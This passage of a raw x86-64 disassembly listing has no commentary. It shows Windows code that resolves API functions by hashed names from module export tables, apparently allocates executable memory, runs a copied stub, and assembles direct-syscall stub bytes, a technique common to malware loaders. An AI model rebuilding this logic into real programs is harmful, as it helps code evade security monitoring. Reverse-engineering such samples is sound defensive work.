lea rcx, [rsp + 0xd1b0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x7f40], rax
mov r9, qword [rsp + 0x7f40]
xor r8d, r8d
lea rdx, [rsp + 0xe490]
lea rcx, [rsp + 0xd1b0]
call fcn.14019ab70
lea rax, [rsp + 0x1794]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1794]
call fcn.14009b310
mov qword [rsp + 0x7f48], rax
lea rax, [rsp + 0xe4a0]
lea rcx, [rsp + 0xe490]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe4b0]
lea rcx, [rsp + 0xe4a0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe4b0]
mov rcx, qword [rsp + 0x7f48]
call fcn.140097890
mov dword [rsp + 0x17a0], eax
mov edx, dword [rsp + 0x1798]
lea rcx, [rsp + 0x179c]
call fcn.14009b2f0
lea rdx, [rsp + 0x179c]
lea rcx, [rsp + 0x838]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140126a4f
mov edx, dword [rsp + 0x17a0]
lea rcx, [rsp + 0x17a4]
call fcn.14009b2f0
lea rdx, [rsp + 0x17a4]
lea rcx, [rsp + 0x838]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140126a4f
mov dword [rsp + 0x840], 1
jmp 0x140126a5a
mov dword [rsp + 0x840], 0
movzx eax, byte [rsp + 0x840]
test eax, eax
je 0x140126a6b
jmp 0x14012678e
mov rax, qword [rsp + 0x52c8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x52d0], rax
mov rax, qword [rsp + 0x52d0]
mov qword [rsp + 0x4378], rax
mov rax, qword [rsp + 0x52d0]
mov qword [rsp + 0x7f50], rax
mov rax, qword [rsp + 0x7f50]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x7f58], rax
mov rax, qword [rsp + 0x7f58]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x7f60], rax
mov eax, dword [rsp + 0x7f60]
add rax, qword [rsp + 0x4378]
mov qword [rsp + 0x7f68], rax
mov rax, qword [rsp + 0x7f68]
mov qword [rsp + 0x4380], rax
lea rdx, [rsp + 0x848]
lea rcx, [rsp + 0xcf50]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11ac0]
lea rcx, [rsp + 0x4378]
call fcn.140097040
lea rdx, [rsp + 0x13600]
lea rcx, [rsp + 0x4378]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11ac0]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140126b57
jmp 0x14012678e
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140126bda
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11ad0]
mov qword [rsp + 0x52d8], rax
mov rcx, qword [rsp + 0x52d8]
call fcn.140097960
mov qword [rsp + 0xdde8], rax
mov rcx, qword [rsp + 0x52d8]
call fcn.140097950
mov qword [rsp + 0x3cb8], rax
mov rax, qword [rsp + 0x3cb8]
mov rax, qword [rax]
mov qword [rsp + 0x52f0], rax
mov rax, qword [rsp + 0x4378]
mov qword [rsp + 0x7f70], rax
mov rax, qword [rsp + 0x7f70]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x7f78], rax
mov rax, qword [rsp + 0x7f78]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x52e0], rax
mov eax, dword [rsp + 0x52e0]
add rax, qword [rsp + 0x4378]
mov qword [rsp + 0x52e8], rax
mov eax, dword [rsp + 0x52e4]
mov rcx, qword [rsp + 0x52e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f80], rax
mov rax, qword [rsp + 0x52e8]
cmp qword [rsp + 0x52f0], rax
jb 0x140126ccc
mov rax, qword [rsp + 0x7f80]
cmp qword [rsp + 0x52f0], rax
jae 0x140126ccc
mov dword [rsp + 0x850], 1
jmp 0x140126cd7
mov dword [rsp + 0x850], 0
movzx eax, byte [rsp + 0x850]
mov byte [rsp + 0xde], al
movzx eax, byte [rsp + 0xde]
test eax, eax
je 0x140126fa6
mov rax, qword [rsp + 0x3cb8]
mov rax, qword [rax]
mov qword [rsp + 0x7f88], rax
mov rax, qword [rsp + 0x7f88]
mov qword [rsp + 0x7f90], rax
lea rax, [rsp + 0x12348]
mov qword [rsp + 0x7f98], rax
mov rdx, qword [rsp + 0x7f90]
mov rcx, qword [rsp + 0x7f98]
call fcn.140095590
lea rcx, [rsp + 0x6d10]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6d10]
call fcn.140191090
mov qword [rsp + 0x3cb0], rax
cmp qword [rsp + 0x3cb0], 0xffffffffffffffff
je 0x140126de1
mov r9, qword [rsp + 0x3cb0]
xor r8d, r8d
lea rdx, [rsp + 0xe4d0]
lea rcx, [rsp + 0x6d10]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3cb0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe4c0]
lea rcx, [rsp + 0x6d10]
call fcn.14019aaa0
lea r8, [rsp + 0xe4c0]
lea rdx, [rsp + 0xe4d0]
lea rcx, [rsp + 0x10fb0]
call fcn.14008f7e0
jmp 0x140126e1c
lea rax, [rsp + 0x6d10]
mov qword [rsp + 0x7fa0], rax
lea rcx, [rsp + 0xe4e0]
call fcn.140099fb0
lea r8, [rsp + 0xe4e0]
mov rdx, qword [rsp + 0x7fa0]
lea rcx, [rsp + 0x10fb0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x10fb0]
call fcn.140097960
mov qword [rsp + 0x7fa8], rax
lea rcx, [rsp + 0x10fb0]
call fcn.140097950
mov qword [rsp + 0x7fc0], rax
lea rax, [rsp + 0xcf54]
mov qword [rsp + 0x7fb8], rax
lea rax, [rsp + 0x17a8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x17a8]
call fcn.14009b310
mov qword [rsp + 0x7fb0], rax
lea rax, [rsp + 0xe4f0]
mov rdi, rax
mov rsi, qword [rsp + 0x7fa8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe500]
lea rcx, [rsp + 0xe4f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe500]
mov rcx, qword [rsp + 0x7fb0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x7fb8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x17b0], eax
lea rax, [rsp + 0xcf58]
mov qword [rsp + 0x7fd0], rax
lea rax, [rsp + 0x17ac]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x17ac]
call fcn.14009b310
mov qword [rsp + 0x7fc8], rax
lea rax, [rsp + 0xe510]
mov rdi, rax
mov rsi, qword [rsp + 0x7fc0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe520]
lea rcx, [rsp + 0xe510]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe520]
mov rcx, qword [rsp + 0x7fc8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x7fd0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x17b4], eax
mov r8d, dword [rsp + 0x17b0]
mov edx, dword [rsp + 0x17b4]
lea rcx, [rsp + 0x3cc0]
call fcn.140191150
mov qword [rsp + 0x1208], rax
jmp 0x140126fcc
mov rax, qword [rsp + 0x3cb8]
mov rax, qword [rax]
mov qword [rsp + 0x1208], rax
jmp 0x140126fcc
mov qword [rsp + 0x1208], 0
mov rax, qword [rsp + 0x1208]
mov qword [rsp + 0x3cc0], rax
lea rcx, [rsp + 0x3cc0]
call fcn.1400a2c10
mov qword [rsp + 0x7fd8], rax
mov eax, dword [rsp + 0x62f8]
mov dword [rsp + 0x17b8], eax
mov rax, qword [rsp + 0x7fd8]
mov qword [rsp + 0x7fe0], rax
mov eax, dword [rsp + 0x17b8]
mov dword [rsp + 0x17c0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe530]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x7fe8], rax
lea r9, [rsp + 0x7fe0]
lea r8, [rsp + 0x17c0]
lea rdx, [rsp + 0x12358]
mov rcx, qword [rsp + 0x7fe8]
call fcn.140098320
lea rcx, [rsp + 0xe530]
call fcn.1400a0f80
lea rcx, [rsp + 0x3cc0]
call fcn.1400a2c10
mov qword [rsp + 0x7ff0], rax
mov rax, qword [rsp + 0x7ff0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x17c8], eax
mov eax, dword [rsp + 0x17c8]
mov dword [rsp + 0x62fc], eax
lea rax, [rsp + 0x6300]
mov qword [rsp + 0x7ff8], rax
mov eax, dword [rsp + 0x62fc]
mov dword [rsp + 0x17d0], eax
mov rax, qword [rsp + 0x7ff8]
add rax, 0x11
mov qword [rsp + 0x8000], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8000]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x17d0]
mov dword [rax], ecx
lea rax, [rsp + 0x6300]
mov qword [rsp + 0x598], rax
mov rax, qword [rsp + 0x598]
add rax, 0x10
mov qword [rsp + 0xddf0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8008], rax
mov qword [rsp + 0x52f8], 0
mov qword [rsp + 0x8010], 0xd
mov rax, qword [rsp + 0x8008]
mov qword [rsp + 0x8018], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8010]
xor r8d, r8d
lea rdx, [rsp + 0x52f8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8018]
mov dword [rsp + 0x17d8], eax
cmp dword [rsp + 0x17d8], 0
jl 0x1401271b0
mov rax, qword [rsp + 0x52f8]
mov qword [rsp + 0x5300], rax
jmp 0x1401271bc
mov qword [rsp + 0x5300], 0
mov rax, qword [rsp + 0x5300]
mov qword [rsp + 0x8020], rax
mov rax, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x8020]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x598]
cmp qword [rax + 8], 0
jne 0x1401271f1
jmp 0x140127235
mov rax, qword [rsp + 0x598]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x598]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x598]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6300]
mov qword [rsp + 0x8048], rax
mov r9, qword [rsp + 0x8028]
mov r8, qword [rsp + 0x8030]
mov rdx, qword [rsp + 0x8038]
mov rcx, qword [rsp + 0x8040]
call qword [rsp + 0x8048]
mov dword [rsp + 0xcf5c], eax
lea rcx, [rsp + 0x62f8]
call fcn.1400a0ed0
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x3d00], 0
mov rax, qword [rsp + 0x168]
mov qword [rsp + 0x5368], rax
mov dword [rsp + 0x17dc], 0x56dd64b
lea rax, [rsp + 0xcf60]
mov qword [rsp + 0x8050], rax
xor edx, edx
mov rcx, qword [rsp + 0x8050]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x17e8], eax
mov eax, dword [rsp + 0x17dc]
mov dword [rsp + 0x550], eax
lea rcx, [rsp + 0x550]
call fcn.1400a2c20
mov dword [rsp + 0x17e0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe540]
call fcn.14009a050
nop
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8058], rax
lea r8, [rsp + 0x17e0]
lea rdx, [rsp + 0x5308]
mov rcx, qword [rsp + 0x8058]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8060], rax
lea rdx, [rsp + 0xddf8]
mov rcx, qword [rsp + 0x8060]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5308]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140127393
mov qword [rsp + 0x5310], 0
jmp 0x1401273ac
lea rcx, [rsp + 0x5308]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5310], rax
mov rax, qword [rsp + 0x5310]
mov qword [rsp + 0x8068], rax
lea rcx, [rsp + 0xe540]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8068]
mov qword [rsp + 0x1220], rax
cmp qword [rsp + 0x1220], 0
jne 0x140127df4
mov eax, dword [rsp + 0x550]
mov dword [rsp + 0x17f0], eax
mov eax, dword [rsp + 0x17e8]
mov dword [rsp + 0x858], eax
mov eax, dword [rsp + 0x17f0]
mov dword [rsp + 0x870], eax
xor edx, edx
lea rcx, [rsp + 0x17f8]
call fcn.14009b2f0
lea rdx, [rsp + 0x17f8]
lea rcx, [rsp + 0x870]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012744e
mov qword [rsp + 0x1218], 0
jmp 0x140127d4d
mov byte [rsp + 0x1f8], 1
mov qword [rsp + 0x6d20], 0
mov qword [rsp + 0x6d28], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3cc8], rax
mov eax, 1
test eax, eax
je 0x1401274a0
mov rax, qword [rsp + 0x3cc8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5318], rax
jmp 0x1401274b3
mov rax, qword [rsp + 0x3cc8]
mov rax, qword [rax]
mov qword [rsp + 0x5318], rax
mov rax, qword [rsp + 0x5318]
mov qword [rsp + 0x6d20], rax
mov rax, qword [rsp + 0x3cc8]
mov qword [rsp + 0x6d28], rax
lea rax, [rsp + 0x6d20]
mov qword [rsp + 0x5320], rax
lea rdx, [rsp + 0x1210]
mov rcx, qword [rsp + 0x5320]
call fcn.14018efb0
lea rdx, [rsp + 0x8070]
mov rcx, qword [rsp + 0x5320]
call fcn.140190a30
jmp 0x140127522
mov rax, qword [rsp + 0x1210]
mov rax, qword [rax]
mov qword [rsp + 0x1210], rax
mov rax, qword [rsp + 0x8070]
cmp qword [rsp + 0x1210], rax
je 0x140127541
mov dword [rsp + 0x854], 1
jmp 0x14012754c
mov dword [rsp + 0x854], 0
movzx eax, byte [rsp + 0x854]
test eax, eax
je 0x140127d41
xor edx, edx
mov rcx, qword [rsp + 0x1210]
call fcn.140096d90
mov qword [rsp + 0x8078], rax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0x5328], rax
xor edx, edx
lea rcx, [rsp + 0x17fc]
call fcn.14009b2f0
lea rdx, [rsp + 0x17fc]
lea rcx, [rsp + 0x858]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401277ec
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8080], rax
lea rdx, [rsp + 0x12368]
mov rcx, qword [rsp + 0x8080]
call fcn.14019acf0
lea rcx, [rsp + 0xe550]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x858]
mov dword [rsp + 0x1800], eax
lea rax, [rsp + 0xd1c0]
lea rcx, [rsp + 0xe550]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1800]
mov dword [rsp + 0x860], eax
lea rax, [rsp + 0x1804]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1804]
call fcn.14009b310
mov qword [rsp + 0x8088], rax
lea rax, [rsp + 0xe560]
lea rcx, [rsp + 0xd1c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe570]
lea rcx, [rsp + 0xe560]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe570]
mov rcx, qword [rsp + 0x8088]
call fcn.140097890
mov dword [rsp + 0x180c], eax
lea rcx, [rsp + 0xd1c0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x8090], rax
mov r9, qword [rsp + 0x8090]
xor r8d, r8d
lea rdx, [rsp + 0xe580]
lea rcx, [rsp + 0xd1c0]
call fcn.14019ab70
lea rax, [rsp + 0x1808]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1808]
call fcn.14009b310
mov qword [rsp + 0x8098], rax
lea rax, [rsp + 0xe590]
lea rcx, [rsp + 0xe580]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe5a0]
lea rcx, [rsp + 0xe590]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe5a0]
mov rcx, qword [rsp + 0x8098]
call fcn.140097890
mov dword [rsp + 0x1814], eax
mov edx, dword [rsp + 0x180c]
lea rcx, [rsp + 0x1810]
call fcn.14009b2f0
lea rdx, [rsp + 0x1810]
lea rcx, [rsp + 0x860]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401277d0
mov edx, dword [rsp + 0x1814]
lea rcx, [rsp + 0x1818]
call fcn.14009b2f0
lea rdx, [rsp + 0x1818]
lea rcx, [rsp + 0x860]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401277d0
mov dword [rsp + 0x868], 1
jmp 0x1401277db
mov dword [rsp + 0x868], 0
movzx eax, byte [rsp + 0x868]
test eax, eax
je 0x1401277ec
jmp 0x14012750f
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5330], rax
mov rax, qword [rsp + 0x5330]
mov qword [rsp + 0x4388], rax
mov rax, qword [rsp + 0x5330]
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x80a0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x80a8], rax
mov rax, qword [rsp + 0x80a8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x80b0], rax
mov eax, dword [rsp + 0x80b0]
add rax, qword [rsp + 0x4388]
mov qword [rsp + 0x80b8], rax
mov rax, qword [rsp + 0x80b8]
mov qword [rsp + 0x4390], rax
lea rdx, [rsp + 0x870]
lea rcx, [rsp + 0xcf64]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11ae8]
lea rcx, [rsp + 0x4388]
call fcn.140097040
lea rdx, [rsp + 0x13628]
lea rcx, [rsp + 0x4388]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11ae8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x1401278d8
jmp 0x14012750f
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14012795b
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11af8]
mov qword [rsp + 0x5338], rax
mov rcx, qword [rsp + 0x5338]
call fcn.140097960
mov qword [rsp + 0xde00], rax
mov rcx, qword [rsp + 0x5338]
call fcn.140097950
mov qword [rsp + 0x3cd8], rax
mov rax, qword [rsp + 0x3cd8]
mov rax, qword [rax]
mov qword [rsp + 0x5350], rax
mov rax, qword [rsp + 0x4388]
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x80c0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x80c8], rax
mov rax, qword [rsp + 0x80c8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5340], rax
mov eax, dword [rsp + 0x5340]
add rax, qword [rsp + 0x4388]
mov qword [rsp + 0x5348], rax
mov eax, dword [rsp + 0x5344]
mov rcx, qword [rsp + 0x5348]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x80d0], rax
mov rax, qword [rsp + 0x5348]
cmp qword [rsp + 0x5350], rax
jb 0x140127a4d
mov rax, qword [rsp + 0x80d0]
cmp qword [rsp + 0x5350], rax
jae 0x140127a4d
mov dword [rsp + 0x878], 1
jmp 0x140127a58
mov dword [rsp + 0x878], 0
movzx eax, byte [rsp + 0x878]
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xdf]
test eax, eax
je 0x140127d27
mov rax, qword [rsp + 0x3cd8]
mov rax, qword [rax]
mov qword [rsp + 0x80d8], rax
mov rax, qword [rsp + 0x80d8]
mov qword [rsp + 0x80e0], rax
lea rax, [rsp + 0x12378]
mov qword [rsp + 0x80e8], rax
mov rdx, qword [rsp + 0x80e0]
mov rcx, qword [rsp + 0x80e8]
call fcn.140095590
lea rcx, [rsp + 0x6d30]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6d30]
call fcn.140191090
mov qword [rsp + 0x3cd0], rax
cmp qword [rsp + 0x3cd0], 0xffffffffffffffff
je 0x140127b62
mov r9, qword [rsp + 0x3cd0]
xor r8d, r8d
lea rdx, [rsp + 0xe5c0]
lea rcx, [rsp + 0x6d30]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3cd0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xe5b0]
lea rcx, [rsp + 0x6d30]
call fcn.14019aaa0
lea r8, [rsp + 0xe5b0]
lea rdx, [rsp + 0xe5c0]
lea rcx, [rsp + 0x10fd0]
call fcn.14008f7e0
jmp 0x140127b9d
lea rax, [rsp + 0x6d30]
mov qword [rsp + 0x80f0], rax
lea rcx, [rsp + 0xe5d0]
call fcn.140099fb0
lea r8, [rsp + 0xe5d0]
mov rdx, qword [rsp + 0x80f0]
lea rcx, [rsp + 0x10fd0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x10fd0]
call fcn.140097960
mov qword [rsp + 0x80f8], rax
lea rcx, [rsp + 0x10fd0]
call fcn.140097950
mov qword [rsp + 0x8110], rax
lea rax, [rsp + 0xcf68]
mov qword [rsp + 0x8108], rax
lea rax, [rsp + 0x181c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x181c]
call fcn.14009b310
mov qword [rsp + 0x8100], rax
lea rax, [rsp + 0xe5e0]
mov rdi, rax
mov rsi, qword [rsp + 0x80f8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe5f0]
lea rcx, [rsp + 0xe5e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe5f0]
mov rcx, qword [rsp + 0x8100]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8108]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1824], eax
lea rax, [rsp + 0xcf6c]
mov qword [rsp + 0x8120], rax
lea rax, [rsp + 0x1820]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1820]
call fcn.14009b310
mov qword [rsp + 0x8118], rax
lea rax, [rsp + 0xe600]
mov rdi, rax
mov rsi, qword [rsp + 0x8110]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xe610]
lea rcx, [rsp + 0xe600]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xe610]
mov rcx, qword [rsp + 0x8118]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8120]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1828], eax
mov r8d, dword [rsp + 0x1824]
mov edx, dword [rsp + 0x1828]
lea rcx, [rsp + 0x5358]
call fcn.140191150
mov qword [rsp + 0x1218], rax
jmp 0x140127d4d
mov rax, qword [rsp + 0x3cd8]
mov rax, qword [rax]
mov qword [rsp + 0x1218], rax
jmp 0x140127d4d
mov qword [rsp + 0x1218], 0
mov rax, qword [rsp + 0x1218]
mov qword [rsp + 0x5358], rax
lea rcx, [rsp + 0x5358]
call fcn.1400a2c10
mov qword [rsp + 0x1220], rax
mov rax, qword [rsp + 0x1220]
mov qword [rsp + 0x8128], rax
lea rcx, [rsp + 0x550]
call fcn.1400a2c20
mov dword [rsp + 0x1830], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xe620]
call fcn.14009a190
nop
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8130], rax
lea r9, [rsp + 0x8128]
lea r8, [rsp + 0x1830]
lea rdx, [rsp + 0x12388]
mov rcx, qword [rsp + 0x8130]
call fcn.140098320
nop
lea rcx, [rsp + 0xe620]
call fcn.1400a0f80
mov rax, qword [rsp + 0x1220]
mov qword [rsp + 0x5360], rax
cmp qword [rsp + 0x5360], 0
jne 0x140127e1c
mov dword [rsp + 0x87c], 0
jmp 0x140127e2a
call qword [rsp + 0x5360]
mov dword [rsp + 0x87c], eax
mov eax, dword [rsp + 0x87c]
mov dword [rsp + 0x1838], eax
mov dword [rsp + 0x19c], 0
jmp 0x140127e55
mov eax, dword [rsp + 0x19c]
inc eax
mov dword [rsp + 0x19c], eax
mov eax, dword [rsp + 0x19c]
mov rcx, qword [rsp + 0x5368]
cmp rax, qword [rcx]
jae 0x140127ecf
mov eax, dword [rsp + 0x19c]
imul rax, rax, 0x28
lea rcx, [rsp + 0x119a8]
mov rdx, qword [rsp + 0x5368]
mov rdi, rcx
lea rsi, [rdx + rax + 0x10]
mov ecx, Ordinal_41
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1838]
cmp qword [rsp + 0x119b0], rax
je 0x140127ea6
jmp 0x140127e45
mov rax, qword [rsp + 0x170]
cmp qword [rsp + 0x119b8], rax
jne 0x140127eca
mov rax, qword [rsp + 0x119a8]
mov qword [rsp + 0x3d00], rax
jmp 0x140127ecf
jmp 0x140127e45
mov qword [rsp + 0x8138], 0
mov dword [rsp + 0x187c], 0x8000
lea rax, [rsp + 0x8138]
mov qword [rsp + 0x8148], rax
lea rax, [rsp + 0x168]
mov qword [rsp + 0x8150], rax
mov qword [rsp + 0x8158], 0xffffffffffffffff
mov dword [rsp + 0x183c], 0x4344a267
mov eax, dword [rsp + 0x183c]
mov dword [rsp + 0x1840], eax
lea rcx, [rsp + 0x1840]
call fcn.1400a2c20
mov dword [rsp + 0x6320], eax
mov dword [rsp + 0x6324], 0
lea rax, [rsp + 0x6328]
mov qword [rsp + 0x8140], rax
mov dword [rsp + 0x1878], 0x49
mov dword [rsp + 0x1874], 0x89
mov dword [rsp + 0x1870], 0xca
mov dword [rsp + 0x186c], 0x48
mov dword [rsp + 0x1868], 0xc7
mov dword [rsp + 0x1864], 0xc0
mov dword [rsp + 0x1860], 0x3f
mov dword [rsp + 0x185c], 0x10
mov dword [rsp + 0x1858], 0
mov dword [rsp + 0x1854], 0
mov dword [rsp + 0x1850], 0xf
